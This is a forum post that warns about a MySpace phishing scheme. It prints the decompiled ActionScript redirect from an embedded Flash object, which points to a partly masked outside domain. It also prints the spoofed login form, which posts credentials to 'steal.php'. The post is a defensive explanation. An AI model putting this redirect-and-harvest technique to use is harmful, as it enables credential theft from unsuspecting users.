I checked it out and found out that it was more than a little problem.
The message that was posted on the page was a simple flash object that seems to be hosted on:
http://itr.****youanddie.com/
I cracked the flash file, it doesn't have a lot to it, all it has is some actionscript:
getURL("http://itr.****youanddie.com/index.php", "_parent", "GET");
What this means is that every time someone goes to a page where he has embeded the swf in a message, they will be redirected to:
http://itr.****youanddie.com/index.php
And in case u were wondering, this page looks exactly like the myspace page... BUT ITS NOT!!!
They spoofed the page. (Apart from the spoofstick notification, looking at the source code, was a dead give away)
CODE
<h2>Member Login</h2>
<form action="steal.php" method="post" name="theForm" id="theForm">
The action=" " should be something like
CODE
action="index.cfm?fuseaction=login.process"
Basically, this means that the person who recieves the post of the script will have the username and password of the person trying to access myspace through this page.
This is a pretty serious issue for people using any sites really, not just myspace. Its not a hard thing for joe anybody to do.
If you are unsure of a site, then I would suggest using something like SpoofStick. This works as a toolbar for IE or Firefox and can show you the actual site that you are on.

